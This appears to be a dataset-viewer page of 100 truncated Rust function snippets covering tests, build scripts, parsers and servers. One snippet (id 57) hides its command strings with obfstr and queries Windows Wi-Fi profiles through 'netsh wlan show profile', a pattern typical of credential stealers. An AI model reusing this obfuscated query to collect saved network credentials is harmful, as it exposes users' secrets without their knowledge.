content stringlengths 12 392k | id int64 0 1.97k |
|---|---|
fn main() {
std::process::Command::new("packfolder.exe").args(&["src/frontend", "dupa.rc", "-binary"])
.output().expect("no i ciul");
} | 0 |
fn create_mesh_buffer_verts(
chunk: &Chunk,
device: &wgpu::Device,
queue: &wgpu::Queue,
) -> MeshBufferVerts {
// Calculate total length of buffer e.g. a full chunk of different voxels. This way a new buffer only has to be created when the voxel capacity is changed.
let verts = Mesh::verts(chunk);
... | 1 |
pub fn render() {
// let a = ext_rec();
// let some = a.calcArea();
// log!("got event! {}", some);
// log!("got event!");
let app = seed::App::build(|_, _| Model::default(), update, view)
.finish()
.run();
app.update(Msg::FetchData);
} | 2 |
pub fn import_ruma_api() -> TokenStream {
if let Ok(FoundCrate::Name(possibly_renamed)) = crate_name("ruma-api") {
let import = Ident::new(&possibly_renamed, Span::call_site());
quote! { ::#import }
} else if let Ok(FoundCrate::Name(possibly_renamed)) = crate_name("ruma") {
let import = ... | 3 |
pub fn get_remaining_timelimit(ctx: &PbsContext, job_id: &str) -> anyhow::Result<Duration> {
let result = Command::new(&ctx.qstat_path)
.args(&["-f", "-F", "json", job_id])
.output()?;
if !result.status.success() {
anyhow::bail!(
"qstat command exited with {}: {}\n{}",
... | 4 |
fn main() {
let matches = App::new("Advent of Code 2017 - Day 1")
.arg(Arg::with_name("filename")
.required(true))
.arg(Arg::with_name("part")
.possible_values(&["1", "2"]))
.get_matches();
let filename = matches.value_of("filename").unwrap();
let part = mat... | 5 |
fn show_image(image: &Image)
{
let sdl = sdl2::init().unwrap();
let video_subsystem = sdl.video().unwrap();
let display_mode = video_subsystem.current_display_mode(0).unwrap();
let w = match display_mode.w as u32 > image.width {
true => image.width,
false => display_mode... | 6 |
pub fn on_player_join_send_existing_entities(event: &PlayerJoinEvent, world: &mut World) {
let network = world.get::<Network>(event.player);
for (entity, creator) in <Read<CreationPacketCreator>>::query().iter_entities(world.inner()) {
let accessor = world
.entity(entity)
.expect... | 7 |
pub fn charset(charset: &CharsetType) -> Vec<char> {
match charset {
CharsetType::Lowercase => {
"abcdefghijklmnopqrstuvwxyz".chars().collect()
},
CharsetType::Uppercase => {
"ABCDEFGHIJKLMNQRSTUVWXYZ".chars().collect()
},
CharsetType::Symbols => {
... | 8 |
fn makefile_outdated_test() {
makefile_task_enabled_test("outdated", false, false);
} | 9 |
fn create_duplication() {
let body_str = "duplicate";
rocket_helpers::create_test_element(body_str);
rocket_helpers::create_test_object_expect_status(
ObjectType::PrimaryElement,
body_str,
Status::Conflict,
);
} | 10 |
pub fn unary_num(t_unary: Token, n_simple_numeric: Node) -> Node {
let mut numeric_value = if let Node::Int(int_value) = n_simple_numeric { int_value } else { panic!(); };
if let Token::T_UNARY_NUM(polarty) = t_unary {
match polarty.as_ref() {
"+" => (),
"-" => { numeric_value =... | 11 |
fn hard_fault(ef: &ExceptionFrame) -> ! {
panic!("Hardfault... : {:#?}", ef);
} | 12 |
async fn main() {
let start_url = std::env::args()
.skip(1)
.next()
.unwrap_or(START_URL.to_string());
let store = MemoryStore::new();
let mut agent = Agent::new(curiosity(), store.clone(), CachedHttp::default());
agent
.investigate(NamedNode::new(start_url).unwrap())
... | 13 |
fn quantile_atorbelow() {
let Loaded { hist, raw, .. } = load_histograms();
assert_near!(0.9999, raw.quantile_below(5000), 0.0001);
assert_near!(0.5, hist.quantile_below(5000), 0.0001);
assert_near!(1.0, hist.quantile_below(100000000_u64), 0.0001);
} | 14 |
fn makefile_build_file_increment_no_file_test() {
let mut file = test::get_temp_test_directory("makefile_build_file_increment_no_file_test");
file.push("build_file_increment_test_no_file");
fsio::directory::delete(&file).unwrap();
file.push("buildnumber.txt");
envmnt::set("CARGO_MAKE_BUILD_NUMBER_F... | 15 |
fn main() {
let input = "49276d206b696c6c696e6720796f757220627261696e20\
6c696b65206120706f69736f6e6f7573206d757368726f6f6d";
println!("{}", encoding::hexstr_to_base64str(input));
} | 16 |
fn get_common_chars(box_one: &String, box_two: &String) -> String {
box_one.chars()
.zip(box_two.chars())
.filter(|ch| ch.0 == ch.1)
.map(|ch| ch.0)
.collect()
} | 17 |
fn download_and_verify(url: &str, hash: &str) -> crate::Result<Vec<u8>> {
common::print_info(format!("Downloading {}", url).as_str())?;
let response = attohttpc::get(url).send()?;
let data: Vec<u8> = response.bytes()?;
common::print_info("validating hash")?;
let mut hasher = sha2::Sha256::new();
hasher.... | 18 |
async fn main() -> Result<!, String> {
// Begin by parsing the arguments. We are either a server or a client, and
// we need an address and potentially a sleep duration.
let args: Vec<_> = env::args().collect();
match &*args {
[_, mode, url] if mode == "server" => server(url).await?... | 19 |
fn item() {
let dir = TestDir::new("sit", "item");
dir.cmd()
.arg("init")
.expect_success();
dir.create_file(".sit/reducers/test.js",r#"
module.exports = function(state, record) {
return Object.assign(state, {value: "hello"});
}
"#);
let id = String::from_utf8(dir.cmd... | 20 |
async fn elastic_handler() -> impl Responder {
dotenv().ok();
let start = Instant::now();
let postgres_url = env::var("DATABASE_URL").expect("DATABASE_URL must be set");
let elasticsearch_url = env::var("ELASTICSEARCH_URL").expect("ELASTICSEARCH_URL must be set");
let data_limit = env::var("LIMIT").... | 21 |
fn current_manifest_path() -> ManifestResult {
let locate_result = Command::new("cargo").arg("locate-project").output();
let output = match locate_result {
Ok(out) => out,
Err(e) => {
print!("Failure: {:?}", e);
panic!("Cargo failure to target project via locate-project")... | 22 |
async fn http_lookup(url: &Url) -> Result<Graph, Berr> {
let resp = reqwest::get(url.as_str()).await?;
if !resp.status().is_success() {
return Err("unsucsessful GET".into());
}
let content_type = resp
.headers()
.get(CONTENT_TYPE)
.ok_or("no content-type header in respons... | 23 |
pub fn challenge_11() {
let mut file = File::open("data/11.txt").unwrap();
let mut all_file = String::new();
file.read_to_string(&mut all_file).unwrap();
let data = base64::decode(&all_file).unwrap();
let it_data = crypto::encryption_oracle(data.clone());
if crypto::is_ecb(it_data) {
pr... | 24 |
fn add(value: i32) -> i32 {
value + 1
} | 25 |
fn main() {
println!("Hello, world!");
let poin = Point {x:10.0,y:20.0};
println!("x part of point is {} and distance from origin is {}.",poin.x(),poin.distance_from_origin());
} | 26 |
fn create_new_queries_different_name_same_sender_is_not_equal() {
let (tx, _) = mpsc::channel();
let query_one: Query<String> = Query::new("dummy_query_one", tx.clone());
let query_two: Query<String> = Query::new("dummy_query_two", tx.clone());
assert!(query_one != query_two);
} | 27 |
pub fn serialize_structure_crate_input_update_user_input(
object: &mut smithy_json::serialize::JsonObjectWriter,
input: &crate::input::UpdateUserInput,
) {
if let Some(var_46) = &input.given_name {
object.key("GivenName").string(var_46);
}
if let Some(var_47) = &input.grant_poweruser_privile... | 28 |
fn valid1(mut x: i32) -> bool {
let mut prev = x % 10;
let mut chain = 1;
let mut two_chain = false;
x /= 10;
while x > 0 {
let y = x % 10;
if y > prev {
return false;
}
if y == prev {
chain += 1;
} else {
chain = 1;
... | 29 |
fn no_item() {
let dir = TestDir::new("sit", "no_item");
dir.cmd()
.arg("init")
.expect_success();
dir.cmd().args(&["reduce", "some-item"]).expect_failure();
} | 30 |
fn print_sources_table(sources: &[Source]) {
let mut table = new_table();
table.set_titles(row![bFg => "Name", "ID", "Updated (UTC)", "Title"]);
for source in sources.iter() {
let full_name = format!(
"{}{}{}",
source.owner.0.dimmed(),
"/".dimmed(),
so... | 31 |
fn should_fail_transfer_to_existing_account() {
let accounts = {
let faucet_account = GenesisAccount::account(
FAUCET.clone(),
Motes::new(DEFAULT_ACCOUNT_INITIAL_BALANCE.into()),
None,
);
let alice_account = GenesisAccount::account(
ALICE.clone... | 32 |
fn calculate_layout_hash(layout: &[VertexAttribute]) -> u64 {
let mut hasher = FxHasher::default();
layout.hash(&mut hasher);
hasher.finish()
} | 33 |
fn add_message(catalog: &mut Catalog, msgid: &str, source: &str) {
let sources = match catalog.find_message(msgid) {
Some(msg) => format!("{}\n{}", msg.source, source),
None => String::from(source),
};
let message = Message::new_singular("", &sources, "", "", msgid, "");
// Carefully up... | 34 |
fn main() -> ! {
use hal::dport::Split;
use hal::serial::{self, Serial};
let mut dp = target::Peripherals::take().expect("Failed to obtain Peripherals");
let (_, dport_clock_control) = dp.DPORT.split();
let mut pins = dp.GPIO.split();
let clkcntrl = esp32_hal::clock_control::ClockControl::new... | 35 |
fn state_from_snapshot<F>(
snapshot: ::fidl::InterfacePtr<PageSnapshot_Client>,
key: Vec<u8>,
done: F,
) where
F: Send + FnOnce(Result<Option<Engine>, ()>) + 'static,
{
assert_eq!(PageSnapshot_Metadata::VERSION, snapshot.version);
let mut snapshot_proxy = PageSnapshot_new_Proxy(snapshot.inner);
... | 36 |
fn tuple_3_run_simple_parsers_fails_with_error_at_first_parser() {
let expected = Err(ParserFailure::new_err(
String::from("hello"),
Some(String::from("world")),
Position::new(1, 1, 0)
));
let actual = tuple_3(
p_hello(),
p_u32(),
p_true()
).run(Strin... | 37 |
fn cyan() {
assert_eq!(
runner().ok("a {\
\n step-1: hsl(180, 100%, 0%);\
\n step-2: hsl(180, 100%, 10%);\
\n step-3: hsl(180, 100%, 20%);\
\n step-4: hsl(180, 100%, 30%);\
\n step-5: hsl(180, 100%, 40%);\
\n step-6: hsl(180... | 38 |
pub fn rand(max: usize) -> usize {
RG.lock().unwrap().next_val(max)
} | 39 |
fn func_struct(data: Food){
println!("restaurant => {}", data.restaurant);
println!("item => {}", data.item);
println!("price => {}", data.price);
} | 40 |
async fn main() -> std::io::Result<()> {
HttpServer::new(|| {
App::new()
.service(hey)
.service(elastic_handler)
.service(mongo_hanler)
.route("/", web::get().to(|| HttpResponse::Ok().body("coucou")))
})
.bind("127.0.0.1:9293")?
.run()
.await
} | 41 |
async fn requests_invalid_service() {
let container = MockContainer::default();
let source = container.services().homo_request().source();
let service_url = Url::parse("https://example.org").unwrap();
*(source.lock().await) = Box::new(|| {
(
make_redirect_response(StatusCode::MOVED_... | 42 |
fn check_extra_files(src: &Path, dst: &Path) -> Result<(), Error> {
let mut errors = Vec::<String>::new();
for entry in fs::read_dir(dst).context(format!("Reading {:?}", dst))? {
let entry = entry?;
let dst_path = entry.path();
let src_path = src.join(entry.file_name());
if !src_... | 43 |
pub fn number(n: i64) -> Value {
Rc::new(RefCell::new(V {
val: Value_::Number(n),
computed: true,
}))
} | 44 |
pub fn run(path: &str) {
let instructions = read_instructions(path).expect("Cannot read instructions");
println!("day12 part1: {}", part::<State1>(&instructions));
println!("day12 part2: {}", part::<State2>(&instructions));
} | 45 |
pub fn digamma<F : special::Gamma>(f: F) -> F {
f.digamma()
} | 46 |
fn t() {
let s = include_str!("input/d16.txt");
assert_eq!(p1(s), 213);
assert_eq!(p2(s), 323);
} | 47 |
fn load_test_images() -> Result<TestData> {
let mut v = vec![];
for (i, label) in LABELS.iter().enumerate() {
let pattern = format!("{}/{}/*.png", TEST_DATA_DIR, label);
for entry in glob::glob(&pattern)? {
match entry {
Ok(path) => {
let img = loa... | 48 |
pub fn write_u16<W>(wr: &mut W, val: u16) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::U16));
write_data_u16(wr, val)
} | 49 |
fn load_histograms() -> Loaded {
let mut hist = Histogram::new_with_max(TRACKABLE_MAX, SIGFIG).unwrap();
let mut scaled_hist = Histogram::new_with_bounds(1000, TRACKABLE_MAX * SCALEF, SIGFIG).unwrap();
let mut raw = Histogram::new_with_max(TRACKABLE_MAX, SIGFIG).unwrap();
let mut scaled_raw = Histogram:... | 50 |
fn tuple_4_run_simple_parsers_fails_with_error_at_first_parser() {
let expected = Err(ParserFailure::new_err(
String::from("hello"),
Some(String::from("world")),
Position::new(1, 1, 0)
));
let actual = tuple_4(
p_hello(),
p_u32(),
p_true(),
p_f32... | 51 |
pub fn greet(text: &str) -> String {
text.to_string()
} | 52 |
fn from_hex_string_invalid_chars() {
Fingerprint::from_hex_string("Q123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF")
.expect_err("Want err");
} | 53 |
fn valid2(mut x: i32) -> bool {
let mut prev = x % 10;
let mut chain = 1;
let mut two_chain = false;
x /= 10;
while x > 0 {
let y = x % 10;
if y > prev {
return false;
}
if y == prev {
chain += 1;
} else {
if chain == 2 {
... | 54 |
fn main() -> Result<()> {
let root = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("protos");
let proto_files = vec![root.join("google/protobuf/types.proto")];
// Tell cargo to recompile if any of these proto files are changed
for proto_file in &proto_files {
println!("cargo:rerun-if-changed=... | 55 |
fn func_1() -> Option< u128 > {
unsafe { malloc( 123456 ); }
Some( CONSTANT )
} | 56 |
async fn get_wifi_profile(ssid: &str) -> Option<String> {
delay_for(Duration::from_millis(10)).await;
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
ssid,
... | 57 |
fn find_pairs_for_node(nodes: &HashMap<String, Node>, node: &Node) -> Vec<String> {
let mut pairs: Vec<String> = Vec::new();
for (key, node2) in nodes {
if *key != node.coords {
if node.used > 0 && node.used <= node2.avail {
pairs.push(node2.coords.clone());
}
... | 58 |
fn wrap_use<T: quote::ToTokens>(name: syn::Ident, ty: &str, content: &T) -> quote::Tokens {
let dummy_const = syn::Ident::new(&format!("_IMPL_{}_FOR_{}", ty.to_uppercase(), name), Span::call_site());
quote! {
#[allow(non_upper_case_globals, unused_attributes, unused_qualifications)]
const #dumm... | 59 |
pub fn find_methods_in_enum(
sa: &Sema,
object_type: SourceType,
type_param_defs: &TypeParamDefinition,
name: Name,
is_static: bool,
) -> Vec<Candidate> {
for extension in sa.extensions.iter() {
let extension = extension.read();
if let Some(bindings) =
extension_match... | 60 |
fn test_deauthentication_packet() {
// Receiver address: Siemens_41:bd:6e (00:01:e3:41:bd:6e)
// Destination address: Siemens_41:bd:6e (00:01:e3:41:bd:6e)
// Transmitter address: NokiaDan_3d:aa:57 (00:16:bc:3d:aa:57)
// Source address: NokiaDan_3d:aa:57 (00:16:bc:3d:aa:57)
// BSS Id: Siemens_41:bd:6e (00:01:e... | 61 |
fn truncate_to_shortest(vec_of_vecs: &mut Vec<Vec<u8>>) {
let min_len = vec_of_vecs.iter().map(|s| s.len()).min().unwrap();
for v in vec_of_vecs {
v.truncate(min_len);
}
} | 62 |
fn system_call_put_payload<T: Any>(message: SystemCall, payload: T) -> SystemCall {
use core::mem::{size_of};
let addr = task_buffer_addr();
unsafe {
let buffer = &mut *(addr as *mut TaskBuffer);
buffer.call = Some(message);
buffer.payload_length = size_of::<T>();
let paylo... | 63 |
fn parse_args(matches: ArgMatches) -> Result<Url, String> {
// Set anvironment variable with the args
// this will not be unique, but it will be used very soon and removed
if let Some(flow_args) = matches.values_of("flow-arguments") {
let mut args: Vec<&str> = flow_args.collect();
// arg #0 ... | 64 |
fn float_test() {
assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.);
assert_eq!((-1.01f64).floor(), -2.0);
assert!((-1. / std::f32::INFINITY).is_sign_negative());
} | 65 |
fn set_screen(n: u8, disp: &mut Screen) {
let color_name = match n {
1 => {
"red"
},
2 => {
"yellow"
}
3 => {
"white"
}
4 => {
"aqua"
}
5 => {
"purple"
}
6 => {
... | 66 |
fn state_to_buf(state: &Engine) -> Vec<u8> {
serde_json::to_vec(state).unwrap()
} | 67 |
fn test_invalid_variable_4() {
let parsed_data = parse(&"$invalid: [ 1, 2, 3]");
assert!(parsed_data
.unwrap_err()
.downcast_ref::<ParseError>()
.is_some());
} | 68 |
fn build_one() {
let project = project("build_one").with_fuzz().build();
// Create some targets.
project
.cargo_fuzz()
.arg("add")
.arg("build_one_a")
.assert()
.success();
project
.cargo_fuzz()
.arg("add")
.arg("build_one_b")
.ass... | 69 |
pub fn main() {
println!("Count: {}", RTL::get_device_count());
println!("Device Name: {:?}", RTL::get_device_name(0));
println!("USB Strings: {:?}", RTL::get_device_usb_strings(0));
} | 70 |
pub fn benchmark(c: &mut Criterion, mode: Mode) {
match mode {
Mode::MetricsOff => {
disable_metrics();
disable_metrics_tracing_integration();
}
Mode::MetricsNoTracingIntegration => {
disable_metrics_tracing_integration();
}
Mode::MetricsOn... | 71 |
fn main() {
let server = HttpServer::new(|| {
App::new()
.route("/", web::get().to(get_index))
.route("/gcd", web::post().to(post_gcd))
});
println!("Serving on localhost:3000...");
server
.bind("127.0.0.1:3000")
.expect("error binding on localhost:3000")... | 72 |
fn limit() {
let mut conn = init_testing();
create_gst_types_table(&mut conn);
use self::gst_types::columns::{big, big2, byte, d, normal, r, small, v};
use self::gst_types::dsl::gst_types;
use diesel::ExpressionMethods;
use diesel::QueryDsl;
use std::{i16, i32, i64};
let mut bin: Vec<u... | 73 |
pub fn b(b: BuiltIn) -> Value {
Rc::new(RefCell::new(V {
val: Value_::BuiltIn(b),
computed: true,
}))
} | 74 |
fn main() -> Result<()> {
let inss = parse_instructions()?;
for (pc, ins) in inss.iter().enumerate() {
match ins.op {
Operation::Nothing => {
// Don't invert zero `nop`s as `jmp +0` results in a loop.
if ins.arg != 0 && print_fixed_acc(&inss, Operation::Jump,... | 75 |
pub fn test_wxorx_crash_64() {
let buffer = fs::read("tests/programs/wxorx_crash_64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["wxorx_crash_64".into()]);
assert_eq!(result.err(), Some(Error::MemOutOfBound));
} | 76 |
fn print_nodes(prefix: &str, nodes: &[IRNode]) {
for node in nodes.iter() {
print_node(prefix, node);
}
} | 77 |
fn map_prefix(tok: IRCToken) -> Result<IRCToken, ~str> {
match tok {
Sequence([Unparsed(nick), Sequence([rest])]) => match rest {
Sequence([Sequence([rest]), Unparsed(~"@"), Unparsed(host)]) => match rest {
Sequence([Unparsed(~"!"), Unparsed(user)]) => Ok(PrefixT(Prefix {nick: ni... | 78 |
fn min_fee(tx_builder: &TransactionBuilder) -> Result<Coin, JsError> {
let full_tx = fake_full_tx(tx_builder, tx_builder.build()?)?;
fees::min_fee(&full_tx, &tx_builder.fee_algo)
} | 79 |
fn yellow() {
assert_eq!(
runner().ok("a {\
\n step-1: hsl(60, 100%, 0%);\
\n step-2: hsl(60, 100%, 10%);\
\n step-3: hsl(60, 100%, 20%);\
\n step-4: hsl(60, 100%, 30%);\
\n step-5: hsl(60, 100%, 40%);\
\n step-6: hsl(60, 10... | 80 |
async fn main() -> Result<(), Box<dyn Error>> {
let (sum1, sum2) = serial()?;
println!("serial: sum1 = {:?}, sum2 = {:?}", sum1, sum2);
let (sum1, sum2) = concurrent().await?;
println!("concurrent: sum1 = {:?}, sum2 = {:?}", sum1, sum2);
let (sum1, sum2) = parallel_threads().await?;
println!("... | 81 |
fn test_encode_decode() {
let before = Packet::Ping {
from: "me".to_owned(),
seq_no: 1234,
};
let buf = encode_packet(&before).unwrap();
let after = decode_packet(&buf).unwrap();
assert_eq!(before, after);
} | 82 |
fn file_age(path:&Path) -> Result<time::Duration> {
let metadata = try!(fs::metadata(path));
let accessed = try!(metadata.accessed());
Ok(try!(accessed.elapsed()))
} | 83 |
fn rst_is_error() {
env_logger::init().ok();
let server = HttpServerTester::new();
let client: Client =
Client::new_plain("::1", server.port(), Default::default()).expect("connect");
let mut server_tester = server.accept();
server_tester.recv_preface();
server_tester.settings_xchg();
... | 84 |
async fn run_watchexec(args: Args) -> Result<()> {
info!(version=%env!("CARGO_PKG_VERSION"), "constructing Watchexec from CLI");
let init = config::init(&args);
let state = state::State::new()?;
let mut runtime = config::runtime(&args, &state)?;
runtime.filterer(filterer::globset(&args).await?);
info!("initial... | 85 |
pub fn assert_unary_params<D: Display>(name: D, actual: usize) -> Result<()> {
if actual != 1 {
return Err(ErrorCode::NumberArgumentsNotMatch(format!(
"{} expect to have single parameters, but got {}",
name, actual
)));
}
Ok(())
} | 86 |
pub fn readline_and_print() -> io::Result<()> {
let f = File::open("/Users/liwei/coding/rust/git/rust/basic/fs/Cargo.toml")?;
let f = BufReader::new(f);
for line in f.lines() {
if let Ok(line) = line {
println!("{:?}", line);
}
}
Ok(())
} | 87 |
pub fn jmz_op(inputs: OpInputs) -> EmulatorResult<()> {
// JMZ tests the B-value to determine if it is zero. If the B-value is
// zero, the sum of the program counter and the A-pointer is queued.
// Otherwise, the next instruction is queued (PC + 1). JMZ.I functions
// as JMZ.F would, i.e. it jumps if... | 88 |
async fn run_link(
sender: LinkSender,
receiver: LinkReceiver,
quic: Arc<AsyncConnection>,
) -> Result<(), Error> {
futures::future::try_join(
link_to_quic(sender, quic.clone()),
quic_to_link(receiver, quic.clone()),
)
.await?;
Ok(())
} | 89 |
pub fn caml_pasta_fq_print(x: ocaml::Pointer<CamlFq>) {
println!(
"{}",
CamlBigInteger256(x.as_ref().0.into_repr()).to_string()
);
} | 90 |
fn tuple_5_run_simple_parsers_fails_with_error_at_first_parser() {
let expected = Err(ParserFailure::new_err(
String::from("hello"),
Some(String::from("world")),
Position::new(1, 1, 0)
));
let actual = tuple_5(
p_hello(),
p_u32(),
p_true(),
p_f32... | 91 |
fn btc_13() {
run_test(
&Instruction {
mnemonic: Mnemonic::BTC,
operand1: Some(Direct(RDX)),
operand2: Some(Literal8(59)),
operand3: None,
operand4: None,
lock: false,
rounding_mode: None,
merge_mode: None,
... | 92 |
pub fn format_pbs_duration(duration: &Duration) -> String {
format_duration(duration)
} | 93 |
fn CommonExceptionHandler(vector: u8){
let buffer: [u8; 2] = [
vector / 10 + '0' as u8, vector % 10 + '0' as u8
];
print_string( 0, 0, b"====================================================" );
print_string( 0, 1, b" Exception Occur ");
print_string( 0, 2, b" ... | 94 |
fn compound_foreign_keys_are_preserved_when_generating_data_model_from_a_schema() {
let expected_data_model = Datamodel {
models: vec![
Model {
database_name: None,
name: "City".to_string(),
documentation: None,
is_embedded: false,
... | 95 |
fn get_emp_test() {
// Arrange
let server = MockServer::start();
let mock = server.mock(|when, then| {
when.method("GET")
.path("/emp/2")
//.header("Authorization", " Basic Zm9vOmJhcg==")
.header("Content-Type", "application/json");
then.status(200)
... | 96 |
fn drop_table(conn: &mut OciConnection, tbl: &str) {
let sql = format!("SELECT * FROM {:?}", tbl);
let sql = sql.replace("\"", "");
let ret = diesel::sql_query(&sql).execute(conn);
if ret.is_ok() {
let sql = format!("drop table {:?}", tbl);
let _ret = diesel::sql_query(&sql).execute(conn... | 97 |
pub fn create_default_modified_timestamps() -> ModifiedTimestamps {
let mut timestamps = HashMap::new();
let stream_types = [
AudioStreamType::Background,
AudioStreamType::Media,
AudioStreamType::Interruption,
AudioStreamType::SystemAgent,
AudioStreamType::Communication,
... | 98 |
fn age() -> u32 {
15
} | 99 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.